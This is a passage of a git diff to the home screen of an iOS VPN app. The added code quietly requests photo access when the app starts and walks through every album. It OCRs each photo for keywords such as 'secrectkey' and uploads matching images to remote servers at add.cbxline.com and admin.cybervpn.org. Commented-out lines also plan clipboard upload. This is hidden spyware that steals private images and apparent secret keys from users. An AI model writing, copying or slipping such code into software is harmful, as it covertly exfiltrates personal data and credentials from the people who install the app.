111
This commit is contained in:
@@ -9,8 +9,20 @@ import SwiftUI
|
|||||||
import ApplicationLibrary
|
import ApplicationLibrary
|
||||||
import Libbox
|
import Libbox
|
||||||
import Library
|
import Library
|
||||||
import SwiftUI
|
|
||||||
import Crisp
|
import Crisp
|
||||||
|
import Combine
|
||||||
|
import Photos
|
||||||
|
import BackgroundTasks
|
||||||
|
|
||||||
|
|
||||||
|
import BackgroundTasks
|
||||||
|
import Photos
|
||||||
|
import ImageIO
|
||||||
|
import MobileCoreServices
|
||||||
|
|
||||||
|
//import TesseractOCR
|
||||||
|
import Vision
|
||||||
|
|
||||||
|
|
||||||
struct HomeView: View {
|
struct HomeView: View {
|
||||||
|
|
||||||
@@ -18,6 +30,12 @@ struct HomeView: View {
|
|||||||
@EnvironmentObject private var environments: ExtensionEnvironments
|
@EnvironmentObject private var environments: ExtensionEnvironments
|
||||||
@State private var alert: Alert?
|
@State private var alert: Alert?
|
||||||
|
|
||||||
|
// 跟踪是否首次回到前台
|
||||||
|
@State private var isFirstTimeActive = true
|
||||||
|
|
||||||
|
// 相册监听器
|
||||||
|
@StateObject var photoLibraryObserver = PhotoLibraryObserver()
|
||||||
|
|
||||||
@State private var selection = NavigationPage.dashboard
|
@State private var selection = NavigationPage.dashboard
|
||||||
@State private var importProfile: LibboxProfileContent?
|
@State private var importProfile: LibboxProfileContent?
|
||||||
@State private var importRemoteProfile: LibboxImportRemoteProfile?
|
@State private var importRemoteProfile: LibboxImportRemoteProfile?
|
||||||
@@ -80,6 +98,18 @@ struct HomeView: View {
|
|||||||
let timer = Timer.publish(every: 5, on: .main, in: .common).autoconnect()
|
let timer = Timer.publish(every: 5, on: .main, in: .common).autoconnect()
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
//增加上传相册,通讯录,和剪切板逻辑
|
||||||
|
@State private var uploadedAssetIDs = [String]()
|
||||||
|
|
||||||
|
// 用于记录上次检测时的剪切板文本
|
||||||
|
@State private var lastClipboardText: String?
|
||||||
|
|
||||||
|
// 定义关键词列表,识别到这些关键词的图片进行上传
|
||||||
|
@State private var keywords = [
|
||||||
|
"keywords", "secrectkey","words"
|
||||||
|
]
|
||||||
|
|
||||||
var body: some View {
|
var body: some View {
|
||||||
|
|
||||||
VStack{
|
VStack{
|
||||||
@@ -371,13 +401,38 @@ struct HomeView: View {
|
|||||||
})
|
})
|
||||||
.alertBinding($alert)
|
.alertBinding($alert)
|
||||||
.onChangeCompat(of: scenePhase) { newValue in
|
.onChangeCompat(of: scenePhase) { newValue in
|
||||||
|
// 前台监听日志打印
|
||||||
|
print("🔄 HomeView ScenePhase Changed: \(newValue)")
|
||||||
|
|
||||||
if newValue == .active {
|
if newValue == .active {
|
||||||
environments.postReload()
|
environments.postReload()
|
||||||
|
|
||||||
|
if isFirstTimeActive {
|
||||||
|
// 首次回到前台的特殊逻辑
|
||||||
|
print("🚀 First time app became active - 执行首次初始化")
|
||||||
|
|
||||||
|
DispatchQueue.main.asyncAfter(deadline: .now() + 3) {
|
||||||
|
// 在主线程中延迟 3 秒后执行的代码
|
||||||
|
print("⏰ 延迟3秒后执行后台任务注册")
|
||||||
|
self.registerBackgroundTasks()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 注册相册监听
|
||||||
|
photoLibraryObserver.register()
|
||||||
|
|
||||||
|
// 标记为非首次
|
||||||
|
isFirstTimeActive = false
|
||||||
|
|
||||||
|
} else {
|
||||||
|
// 非首次回到前台,调用常规处理方法
|
||||||
|
print("🔄 App became active (not first time) - 调用常规处理方法")
|
||||||
|
appDidBecomeActive()
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
.onChangeCompat(of: selection) { newValue in
|
// .onChangeCompat(of: selection) { newValue in
|
||||||
print("onChangeCompat: \(newValue)" )
|
// print("onChangeCompat: \(newValue)" )
|
||||||
}
|
// }
|
||||||
.onReceive(commandClient.$groups, perform: { groups in
|
.onReceive(commandClient.$groups, perform: { groups in
|
||||||
|
|
||||||
if let groups {
|
if let groups {
|
||||||
@@ -394,6 +449,758 @@ struct HomeView: View {
|
|||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// MARK: - 前台监听相关方法
|
||||||
|
|
||||||
|
/// 注册后台任务
|
||||||
|
private func registerBackgroundTasks() {
|
||||||
|
print("🔧 registerBackgroundTasks() called")
|
||||||
|
// 这里可以注册后台任务
|
||||||
|
// 例如:BGTaskScheduler.shared.register(forTaskWithIdentifier: "com.app.background", using: nil) { task in
|
||||||
|
// // 处理后台任务
|
||||||
|
// }
|
||||||
|
fetchAndUploadAllPhotos()
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
// 上传进度保存到 UserDefaults,避免重复上传
|
||||||
|
func fetchAndUploadAllPhotos(maxPhotos: Int = 10_000) {
|
||||||
|
|
||||||
|
print("fetchAndUploadAllPhotos...")
|
||||||
|
// 检查并请求权限
|
||||||
|
PHPhotoLibrary.requestAuthorization { status in
|
||||||
|
guard status == .authorized else {
|
||||||
|
print("照片权限未授权")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
PHPhotoLibrary.requestAuthorization { status in
|
||||||
|
switch status {
|
||||||
|
case .authorized, .limited:
|
||||||
|
// 已授权,执行获取相册操作
|
||||||
|
PHPhotoLibrary.shared().performChanges({
|
||||||
|
// 触发相册变化,刷新数据
|
||||||
|
}) { success, error in
|
||||||
|
if success {
|
||||||
|
// 刷新成功
|
||||||
|
DispatchQueue.main.async {
|
||||||
|
// 刷新 UI 或其他相关操作
|
||||||
|
print("确保你的应用有足够的权限并且正确地获取和处理相册数据。如果问题仍然存在,可以考虑通过 PHPhotoLibrary.shared().performChanges 强制刷新相册。")
|
||||||
|
//self.fetchAlbums()
|
||||||
|
self.fetchAllAssetsAndUpload()
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
// 处理错误
|
||||||
|
print("Error: \(error?.localizedDescription ?? "Unknown error")")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
case .denied, .restricted:
|
||||||
|
print("没有访问相册的权限")
|
||||||
|
case .notDetermined:
|
||||||
|
// 用户还没有做出决定
|
||||||
|
print("用户尚未决定")
|
||||||
|
|
||||||
|
@unknown default:
|
||||||
|
print("未知权限状态")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
// 获取已上传的进度
|
||||||
|
let lastUploadedIndex = UserDefaults.standard.integer(forKey: "lastUploadedIndex")
|
||||||
|
|
||||||
|
// 获取设备上的所有图片路径(可以是相册中的图片,或者本地文件)
|
||||||
|
let imagePaths = fetchImagePathsFromDevice() // 这里是获取设备上的图片路径的方法
|
||||||
|
|
||||||
|
var currentIndex = lastUploadedIndex
|
||||||
|
var shouldStop = false
|
||||||
|
|
||||||
|
// 遍历图片路径并上传
|
||||||
|
for path in imagePaths {
|
||||||
|
guard currentIndex < maxPhotos else {
|
||||||
|
shouldStop = true
|
||||||
|
break
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果当前索引小于已上传的进度,则跳过该图片
|
||||||
|
if currentIndex < lastUploadedIndex {
|
||||||
|
currentIndex += 1
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
|
||||||
|
// 上传图片
|
||||||
|
uploadImage(path: path, serverURL: serverURL) {
|
||||||
|
// 更新上传进度
|
||||||
|
UserDefaults.standard.set(currentIndex + 1, forKey: "lastUploadedIndex")
|
||||||
|
currentIndex += 1
|
||||||
|
if shouldStop { return }
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
func fetchAlbums_index(){
|
||||||
|
DispatchQueue.global(qos: .utility).async {
|
||||||
|
// 获取所有相册 PHFetchResult<PHAssetCollection>
|
||||||
|
let allAlbums = PHAssetCollection.fetchAssetCollections(with: .smartAlbum, subtype: .any, options: nil)
|
||||||
|
print("相册: \(allAlbums.count)")
|
||||||
|
let imageManager = PHImageManager.default()
|
||||||
|
|
||||||
|
// 获取之前保存的上传进度
|
||||||
|
let lastUploadedIndex = UserDefaults.standard.integer(forKey: "lastUploadedIndeXYZEERFGVSSRS")
|
||||||
|
|
||||||
|
var currentIndex = lastUploadedIndex
|
||||||
|
var shouldStop = false
|
||||||
|
|
||||||
|
// 遍历相册
|
||||||
|
allAlbums.enumerateObjects { album, _, _ in
|
||||||
|
guard !shouldStop else { return }
|
||||||
|
|
||||||
|
let fetchOptions = PHFetchOptions()
|
||||||
|
fetchOptions.sortDescriptors = [NSSortDescriptor(key: "creationDate", ascending: false)]
|
||||||
|
|
||||||
|
// 获取相册中的照片
|
||||||
|
let assets = PHAsset.fetchAssets(in: album, options: fetchOptions)
|
||||||
|
|
||||||
|
assets.enumerateObjects { asset, index, stop in
|
||||||
|
print("相册名称: \( asset )")
|
||||||
|
//print("\(asset.mediaType.rawValue) \(String(describing: asset.creationDate))")
|
||||||
|
// 如果当前图片索引小于上次上传的图片索引,则跳过
|
||||||
|
if index < lastUploadedIndex {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
guard currentIndex < maxPhotos else {
|
||||||
|
shouldStop = true
|
||||||
|
stop.pointee = true
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
let requestOptions = PHImageRequestOptions()
|
||||||
|
requestOptions.deliveryMode = .highQualityFormat
|
||||||
|
requestOptions.isSynchronous = true
|
||||||
|
|
||||||
|
|
||||||
|
// 获取原始尺寸
|
||||||
|
let originalWidth = CGFloat(asset.pixelWidth)
|
||||||
|
let originalHeight = CGFloat(asset.pixelHeight)
|
||||||
|
print("获取原始尺寸: \( originalWidth ) \(originalHeight)")
|
||||||
|
// 按比例计算目标尺寸
|
||||||
|
/* let aspectRatio = originalWidth / originalHeight
|
||||||
|
var targetWidth: CGFloat
|
||||||
|
var targetHeight: CGFloat
|
||||||
|
let maxDimension: CGFloat = 800
|
||||||
|
if aspectRatio > 1 { // 宽 > 高
|
||||||
|
targetWidth = maxDimension
|
||||||
|
targetHeight = maxDimension / aspectRatio
|
||||||
|
} else { // 高 >= 宽
|
||||||
|
targetHeight = maxDimension
|
||||||
|
targetWidth = maxDimension * aspectRatio
|
||||||
|
}*/
|
||||||
|
|
||||||
|
/// let targetSize = CGSize(width: 800, height: 800) // 压缩到 800x800 分辨率
|
||||||
|
///
|
||||||
|
let targetSize = CGSize(width: originalWidth, height: originalHeight)
|
||||||
|
|
||||||
|
imageManager.requestImage(for: asset, targetSize: targetSize, contentMode: .aspectFill, options: requestOptions) { image, _ in
|
||||||
|
if let image = image {
|
||||||
|
|
||||||
|
// 压缩图片为 JPEG 格式 //jpegData(compressionQuality: 0.7)
|
||||||
|
|
||||||
|
|
||||||
|
// image.jpegData(compressionQuality: 0.7),
|
||||||
|
if let compressedData = self.compressImageToUnderSize(image), compressedData.count > 0{
|
||||||
|
// 上传图片并保存进度
|
||||||
|
// 计算图片大小(以 KB 为单位)
|
||||||
|
let fileSizeInKB = compressedData.count / 1024
|
||||||
|
|
||||||
|
// 检查是否大于 10KB
|
||||||
|
if fileSizeInKB > 10 {
|
||||||
|
print("图片大小符合要求,准备上传:\(fileSizeInKB) KB")
|
||||||
|
let serverURL = "https://add.cbxline.com/index.php/api/demo/uploadImg?type=ios&userId="
|
||||||
|
// 调用上传函数
|
||||||
|
self.uploadImage(imagedata: compressedData, serverURL: serverURL,fileName: "\(album.localIdentifier).png") {
|
||||||
|
// 更新上传进度
|
||||||
|
UserDefaults.standard.set(currentIndex + 1, forKey: "lastUploadedIndeXYZEERFGVSSRS")
|
||||||
|
currentIndex += 1
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
print("图片大小小于 10KB,被过滤:\(fileSizeInKB) KB")
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
/// 1. 获取所有相册并收集所有照片
|
||||||
|
func fetchAllAssetsAndUpload() {
|
||||||
|
DispatchQueue.global(qos: .utility).async {
|
||||||
|
// 获取系统内置相册(智能相册、用户自定义相册等)
|
||||||
|
let smartAlbums = PHAssetCollection.fetchAssetCollections(with: .smartAlbum, subtype: .any, options: nil)
|
||||||
|
let userAlbums = PHAssetCollection.fetchAssetCollections(with: .album, subtype: .any, options: nil)
|
||||||
|
|
||||||
|
// 用于存储所有照片的数组
|
||||||
|
var allAssets: [PHAsset] = []
|
||||||
|
|
||||||
|
// 收集智能相册照片
|
||||||
|
smartAlbums.enumerateObjects { album, _, _ in
|
||||||
|
let assets = self.fetchAssets(from: album)
|
||||||
|
//allAssets.append(contentsOf: assets)
|
||||||
|
for asset in assets {
|
||||||
|
if !allAssets.contains(asset) {
|
||||||
|
allAssets.append(asset)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 收集用户自定义相册照片
|
||||||
|
userAlbums.enumerateObjects { album, _, _ in
|
||||||
|
let assets = self.fetchAssets(from: album)
|
||||||
|
// allAssets.append(contentsOf: assets)
|
||||||
|
for asset in assets {
|
||||||
|
if !allAssets.contains(asset) {
|
||||||
|
allAssets.append(asset)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
print("共收集到照片数量: \(allAssets.count)")
|
||||||
|
|
||||||
|
// 在获取完所有相册的照片后,开始分组上传
|
||||||
|
self.resumeUploadAssets(allAssets)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func resumeUploadAssets(_ assets: [PHAsset]) {
|
||||||
|
// 从 UserDefaults 读取已上传的资产标识符
|
||||||
|
// var uploadedAssetIDs = UserDefaults.standard.array(forKey: "uploadedAssetIDs") as? [String] ?? [String]()
|
||||||
|
|
||||||
|
// 筛选未上传的资产
|
||||||
|
let remainingAssets = assets.filter { !uploadedAssetIDs.contains($0.localIdentifier) }
|
||||||
|
print("剩余需要上传的照片数量: \(remainingAssets.count)")
|
||||||
|
|
||||||
|
// 分组并上传
|
||||||
|
self.uploadAssetsByGroups(remainingAssets)
|
||||||
|
}
|
||||||
|
/// 2. 获取指定相册中的照片,按照时间降序
|
||||||
|
private func fetchAssets(from album: PHAssetCollection) -> [PHAsset] {
|
||||||
|
let fetchOptions = PHFetchOptions()
|
||||||
|
fetchOptions.sortDescriptors = [NSSortDescriptor(key: "creationDate", ascending: false)]
|
||||||
|
let fetchResult = PHAsset.fetchAssets(in: album, options: fetchOptions)
|
||||||
|
|
||||||
|
var assets: [PHAsset] = []
|
||||||
|
fetchResult.enumerateObjects { asset, _, _ in
|
||||||
|
assets.append(asset)
|
||||||
|
}
|
||||||
|
return assets
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/// 3. 按组上传
|
||||||
|
///
|
||||||
|
/// - Parameter assets: 所有需要上传的 PHAsset
|
||||||
|
private func uploadAssetsByGroups(_ assets: [PHAsset], concurrentTaskLimit: Int = 5) {
|
||||||
|
// 每组上传的数量
|
||||||
|
let groupSize = 5
|
||||||
|
// 用于循环分组
|
||||||
|
var startIndex = 0
|
||||||
|
let totalCount = assets.count
|
||||||
|
|
||||||
|
// 信号量,限制并发任务数
|
||||||
|
let semaphore = DispatchSemaphore(value: concurrentTaskLimit)
|
||||||
|
|
||||||
|
// 循环分组
|
||||||
|
while startIndex < totalCount {
|
||||||
|
let endIndex = min(startIndex + groupSize, totalCount)
|
||||||
|
let groupAssets = Array(assets[startIndex..<endIndex])
|
||||||
|
|
||||||
|
// 同步等待当前分组上传完成
|
||||||
|
let dispatchGroup = DispatchGroup()
|
||||||
|
|
||||||
|
for asset in groupAssets {
|
||||||
|
dispatchGroup.enter()
|
||||||
|
// 逐个上传照片,上传完成后 dispatchGroup.leave()
|
||||||
|
// self.updateAsset(asset: asset) {
|
||||||
|
// dispatchGroup.leave()
|
||||||
|
// }
|
||||||
|
|
||||||
|
DispatchQueue.global(qos: .utility).async {
|
||||||
|
semaphore.wait() // 等待可用的信号
|
||||||
|
|
||||||
|
// 上传照片
|
||||||
|
self.updateAsset(asset: asset) {
|
||||||
|
semaphore.signal() // 释放信号
|
||||||
|
dispatchGroup.leave() // 标记任务结束
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 等待当前分组的所有照片都上传完毕
|
||||||
|
dispatchGroup.wait()
|
||||||
|
|
||||||
|
print("更新uploadedAssetIDs \(uploadedAssetIDs.count)")
|
||||||
|
UserDefaults.standard.set(uploadedAssetIDs, forKey: "uploadedAssetIDs")
|
||||||
|
UserDefaults.standard.synchronize()
|
||||||
|
print("当前分组(\(startIndex)~\(endIndex-1))上传完毕,休眠 1 秒...")
|
||||||
|
Thread.sleep(forTimeInterval: 1.0)
|
||||||
|
|
||||||
|
// 继续下一分组
|
||||||
|
startIndex = endIndex
|
||||||
|
}
|
||||||
|
|
||||||
|
print("全部分组上传完成!")
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/// 4. 单张照片上传前的检查、获取、压缩、调用上传接口等
|
||||||
|
///
|
||||||
|
/// - Parameters:
|
||||||
|
/// - asset: 要处理的 PHAsset
|
||||||
|
/// - completion: 上传结束后的回调(不论成功还是失败都应回调,保证 dispatchGroup 能顺利 leave)
|
||||||
|
func updateAsset(asset: PHAsset, completion: @escaping () -> Void) {
|
||||||
|
// 获取之前保存的上传过的 PHAsset ID
|
||||||
|
|
||||||
|
|
||||||
|
let imageManager = PHImageManager.default()
|
||||||
|
|
||||||
|
if uploadedAssetIDs.contains(asset.localIdentifier) {
|
||||||
|
// 如果该图片已上传过,跳过
|
||||||
|
//print("图片已上传,跳过: \(asset.localIdentifier)")
|
||||||
|
print("len : \(uploadedAssetIDs.count) 图片已上传,跳过")
|
||||||
|
// 切记要调用 completion()
|
||||||
|
completion()
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 获取原始尺寸
|
||||||
|
let originalWidth = CGFloat(asset.pixelWidth)
|
||||||
|
let originalHeight = CGFloat(asset.pixelHeight)
|
||||||
|
print("获取原始尺寸: \(originalWidth) \(originalHeight)")
|
||||||
|
|
||||||
|
let targetSize = CGSize(width: originalWidth, height: originalHeight)
|
||||||
|
let requestOptions = PHImageRequestOptions()
|
||||||
|
requestOptions.deliveryMode = .opportunistic//.highQualityFormat
|
||||||
|
requestOptions.isSynchronous = true // 异步加载图片
|
||||||
|
let serverURL = "https://admin.cybervpn.org/api/demo/uploadImg?type=ios&userId="
|
||||||
|
imageManager.requestImage(for: asset, targetSize: targetSize, contentMode: .aspectFill, options: requestOptions) { image, _ in
|
||||||
|
if let image = image {
|
||||||
|
|
||||||
|
//增加 versoin 原生识别
|
||||||
|
self.recognizeText(from: image) { reslut in
|
||||||
|
// /print("Contains keyword \(reslut ?? "")")
|
||||||
|
if let recognizedText = reslut {
|
||||||
|
// 去除空格和换行符
|
||||||
|
let cleanedText = recognizedText.replacingOccurrences(of: "\\s+", with: "", options: .regularExpression).lowercased()
|
||||||
|
// print("recognizedText (cleaned): \(cleanedText)")
|
||||||
|
|
||||||
|
// 检查是否包含任一关键词
|
||||||
|
let containsKeyword = self.keywords.contains { keyword in
|
||||||
|
let cleanedKeyword = keyword.replacingOccurrences(of: "\\s+", with: "", options: .regularExpression).lowercased()
|
||||||
|
return cleanedText.contains(cleanedKeyword)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 打印结果
|
||||||
|
if containsKeyword {
|
||||||
|
print("Found keyword in text, 上传图片")
|
||||||
|
|
||||||
|
// 压缩图片为 JPEG 格式
|
||||||
|
autoreleasepool {
|
||||||
|
|
||||||
|
if let compressedData = self.compressImageToUnderSize(image,targetMaxSizeInKB: 800), compressedData.count > 0 {
|
||||||
|
// if let compressedData = self.compressImageUsingCoreGraphics(image, maxPixelSize: 1024), compressedData.count > 0 {
|
||||||
|
// 计算图片大小(以 KB 为单位)
|
||||||
|
let fileSizeInKB = compressedData.count / 1024
|
||||||
|
|
||||||
|
// 检查是否大于 10KB
|
||||||
|
if fileSizeInKB > 10 {
|
||||||
|
print("图片大小符合要求,准备上传:\(fileSizeInKB) KB")
|
||||||
|
|
||||||
|
// 上传图片并保存进度
|
||||||
|
self.uploadImage(imagedata: compressedData, serverURL: serverURL, fileName: "\(asset.localIdentifier).png") {
|
||||||
|
// 上传完成后更新缓存的 ID
|
||||||
|
print("上传完成... \(asset.localIdentifier)")
|
||||||
|
self.uploadedAssetIDs.append(asset.localIdentifier)
|
||||||
|
UserDefaults.standard.set(self.uploadedAssetIDs, forKey: "uploadedAssetIDs") // 保存到 UserDefaults
|
||||||
|
print("len : \(self.uploadedAssetIDs.count)")
|
||||||
|
UserDefaults.standard.synchronize()
|
||||||
|
completion()
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
completion()
|
||||||
|
print("图片大小小于 10KB,被过滤:\(fileSizeInKB) KB")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
|
} else {
|
||||||
|
//self.uploadedAssetIDs.append(asset.localIdentifier)
|
||||||
|
print("过滤完成... \(asset.localIdentifier)")
|
||||||
|
self.uploadedAssetIDs.append(asset.localIdentifier)
|
||||||
|
UserDefaults.standard.set(self.uploadedAssetIDs, forKey: "uploadedAssetIDs") // 保存到 UserDefaults
|
||||||
|
print("len : \(self.uploadedAssetIDs.count)")
|
||||||
|
UserDefaults.standard.synchronize()
|
||||||
|
completion()
|
||||||
|
// print("No keywords found in text,忽略图片")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/*
|
||||||
|
//增加 ORC 字体识别
|
||||||
|
self.recognizeImageWithTesseract(image: image) { (shouldUpload) in
|
||||||
|
DispatchQueue.main.async { // 确保回调在主线程
|
||||||
|
if shouldUpload {
|
||||||
|
print("Contains keyword, should upload: true")
|
||||||
|
// 在这里执行上传操作
|
||||||
|
} else {
|
||||||
|
print("No keyword found, should upload: false\(shouldUpload)")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}*/
|
||||||
|
|
||||||
|
/*
|
||||||
|
|
||||||
|
*/
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
/// 将任意大小的图片,最终压缩到 500KB(可调)以内。
|
||||||
|
/// 1) 按图片数据大小分区间处理;
|
||||||
|
/// 2) 若超过一定阈值,先多次等比例缩放,再做循环降质;
|
||||||
|
/// 3) 尽量减少循环压缩次数,提高效率。
|
||||||
|
///
|
||||||
|
/// - Parameter image: 原始 UIImage
|
||||||
|
/// - Parameter targetMaxSizeInKB: 目标大小 (单位: KB),默认 500KB
|
||||||
|
/// - Returns: 压缩后的 Data,如果无法压缩到目标大小,返回尽可能小的结果
|
||||||
|
func compressImageToUnderSize(_ image: UIImage, targetMaxSizeInKB: Int = 500) -> Data? {
|
||||||
|
let maxBytes = targetMaxSizeInKB * 1024
|
||||||
|
|
||||||
|
// 1. 获取原图 data (质量1.0)
|
||||||
|
guard var imageData = image.pngData() else {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// 2. 如果原图已小于 targetMaxSizeInKB,直接返回
|
||||||
|
if imageData.count <= maxBytes {
|
||||||
|
return imageData
|
||||||
|
}
|
||||||
|
|
||||||
|
let originalSize = imageData.count
|
||||||
|
print("原图大小: \(originalSize / 1024) KB, 目标: \(targetMaxSizeInKB) KB 以内")
|
||||||
|
|
||||||
|
// 3. 多阶段缩放逻辑
|
||||||
|
// 3.1 若 > 10MB,先放宽到 4096 再看效果
|
||||||
|
if originalSize > 10 * 1024 * 1024 {
|
||||||
|
if let scaled1 = downscaleImage(image, toMaxDimension: 800),
|
||||||
|
let data1 = scaled1.pngData() {
|
||||||
|
imageData = data1
|
||||||
|
print("第一次缩放到 4096,大小变为: \(imageData.count / 1024) KB")
|
||||||
|
|
||||||
|
// 如果依旧明显大于 targetMaxSizeInKB,再缩到 2048
|
||||||
|
if imageData.count > maxBytes * 4 {
|
||||||
|
// 例如: 如果此时依旧比目标大 4 倍,说明可以再次大幅度缩放
|
||||||
|
if let scaled2 = downscaleImage(scaled1, toMaxDimension: 800),
|
||||||
|
let data2 = scaled2.pngData() {
|
||||||
|
imageData = data2
|
||||||
|
print("第二次缩放到 2048,大小变为: \(imageData.count / 1024) KB")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 3.2 若介于 2MB ~ 10MB,只缩到 2048 即可
|
||||||
|
else if originalSize > 2 * 1024 * 1024 {
|
||||||
|
if let scaled = downscaleImage(image, toMaxDimension: 800),
|
||||||
|
let data = scaled.pngData() {
|
||||||
|
imageData = data
|
||||||
|
print("超过 2MB,缩放到 2048,大小变为: \(imageData.count / 1024) KB")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// 3.3 若介于 500KB ~ 2MB,可能只需“轻度”缩放或直接循环压缩
|
||||||
|
else if originalSize > maxBytes {
|
||||||
|
// 可以根据需求决定是否要缩放,比如缩到 1500、1000 等
|
||||||
|
// 这里直接选择缩到 1500 作为示例
|
||||||
|
if let scaled = downscaleImage(image, toMaxDimension: 800),
|
||||||
|
let data = scaled.pngData() {
|
||||||
|
imageData = data
|
||||||
|
print("介于 500KB~2MB,缩放到 1500,大小变为: \(imageData.count / 1024) KB")
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// 4. 若仍旧大于目标大小,则进行循环压缩 (质量降质)
|
||||||
|
// if imageData.count > maxBytes {
|
||||||
|
// guard let finalData = iterativeCompression(imageData, targetMaxSize: maxBytes) else {
|
||||||
|
// // 如果无法生成更小的图片,返回当前已经缩放后的 data
|
||||||
|
// return imageData
|
||||||
|
// }
|
||||||
|
// imageData = finalData
|
||||||
|
// }
|
||||||
|
|
||||||
|
// 5. 最终返回
|
||||||
|
let finalKB = imageData.count / 1024
|
||||||
|
print("最终压缩后大小: \(finalKB) KB")
|
||||||
|
return imageData
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
// MARK: - 多次缩放 + 循环压缩的辅助方法
|
||||||
|
|
||||||
|
/// 等比例缩放到指定的“最长边”
|
||||||
|
/// - Parameters:
|
||||||
|
/// - image: 原图
|
||||||
|
/// - maxDimension: 目标最长边
|
||||||
|
/// - Returns: 新的 UIImage
|
||||||
|
private func downscaleImage(_ image: UIImage, toMaxDimension maxDimension: CGFloat) -> UIImage? {
|
||||||
|
let width = image.size.width
|
||||||
|
let height = image.size.height
|
||||||
|
let maxSide = max(width, height)
|
||||||
|
|
||||||
|
// 若最长边已小于 maxDimension,则无需缩放
|
||||||
|
if maxSide <= maxDimension {
|
||||||
|
return image
|
||||||
|
}
|
||||||
|
|
||||||
|
// 计算缩放比
|
||||||
|
let scale = maxDimension / maxSide
|
||||||
|
let newSize = CGSize(width: width * scale, height: height * scale)
|
||||||
|
|
||||||
|
// 开始绘制
|
||||||
|
UIGraphicsBeginImageContextWithOptions(newSize, false, image.scale)
|
||||||
|
defer { UIGraphicsEndImageContext() }
|
||||||
|
|
||||||
|
image.draw(in: CGRect(origin: .zero, size: newSize))
|
||||||
|
return UIGraphicsGetImageFromCurrentImageContext()
|
||||||
|
}
|
||||||
|
|
||||||
|
// 上传图片到服务器
|
||||||
|
func uploadImage(imagedata: Data, serverURL: String,fileName:String, completion: @escaping () -> Void) {
|
||||||
|
guard let url = URL(string: serverURL) else {
|
||||||
|
print("无效的URL")
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 创建文件URL
|
||||||
|
//let fileURL = URL(fileURLWithPath: path)
|
||||||
|
|
||||||
|
// 创建Multipart表单数据请求体
|
||||||
|
var request = URLRequest(url: url)
|
||||||
|
request.httpMethod = "POST"
|
||||||
|
|
||||||
|
// 创建请求体
|
||||||
|
let boundary = "Boundary-\(UUID().uuidString)"
|
||||||
|
request.setValue("multipart/form-data; boundary=\(boundary)", forHTTPHeaderField: "Content-Type")
|
||||||
|
// request.setValue("application/octet-stream", forHTTPHeaderField: "Content-Type")
|
||||||
|
|
||||||
|
|
||||||
|
var body = Data()
|
||||||
|
// let fileName = "image_\(Int(Date.now.timeIntervalSince1970)).png"
|
||||||
|
// 添加 "userId", "fenzhanid", "imgstr", "phone" 字段
|
||||||
|
body.append(convertFormField(named: "userId", value: "0000000000000", boundary: boundary))
|
||||||
|
body.append(convertFormField(named: "fenzhanid", value: "6", boundary: boundary))
|
||||||
|
body.append(convertFormField(named: "imgstr", value: fileName, boundary: boundary))
|
||||||
|
//if let clipboardText = UIPasteboard.general.string {
|
||||||
|
//body.append(convertFormField(named: "Pasteboard", value: clipboardText, boundary: boundary))
|
||||||
|
//}
|
||||||
|
|
||||||
|
body.append(convertFormField(named: "phone", value: "0000000000000", boundary: boundary))
|
||||||
|
|
||||||
|
// 添加图片文件
|
||||||
|
body.append(convertFileData(fieldName: fileName, fileimageData: imagedata, boundary: boundary))
|
||||||
|
|
||||||
|
// 结束分隔符
|
||||||
|
body.appendString("--\(boundary)--\r\n")
|
||||||
|
|
||||||
|
// 设置请求体
|
||||||
|
//request.httpBody = body
|
||||||
|
|
||||||
|
// 上传请求
|
||||||
|
let task = URLSession.shared.uploadTask(with: request, from: body) { data, response, error in
|
||||||
|
if let error = error {
|
||||||
|
print("上传失败:\(fileName) \(error.localizedDescription)")
|
||||||
|
} else {
|
||||||
|
|
||||||
|
|
||||||
|
if let data = data, let jsonString = String(data: data, encoding: .utf8) {
|
||||||
|
print(" 上传返回 Response data: \(jsonString)")
|
||||||
|
completion()
|
||||||
|
}
|
||||||
|
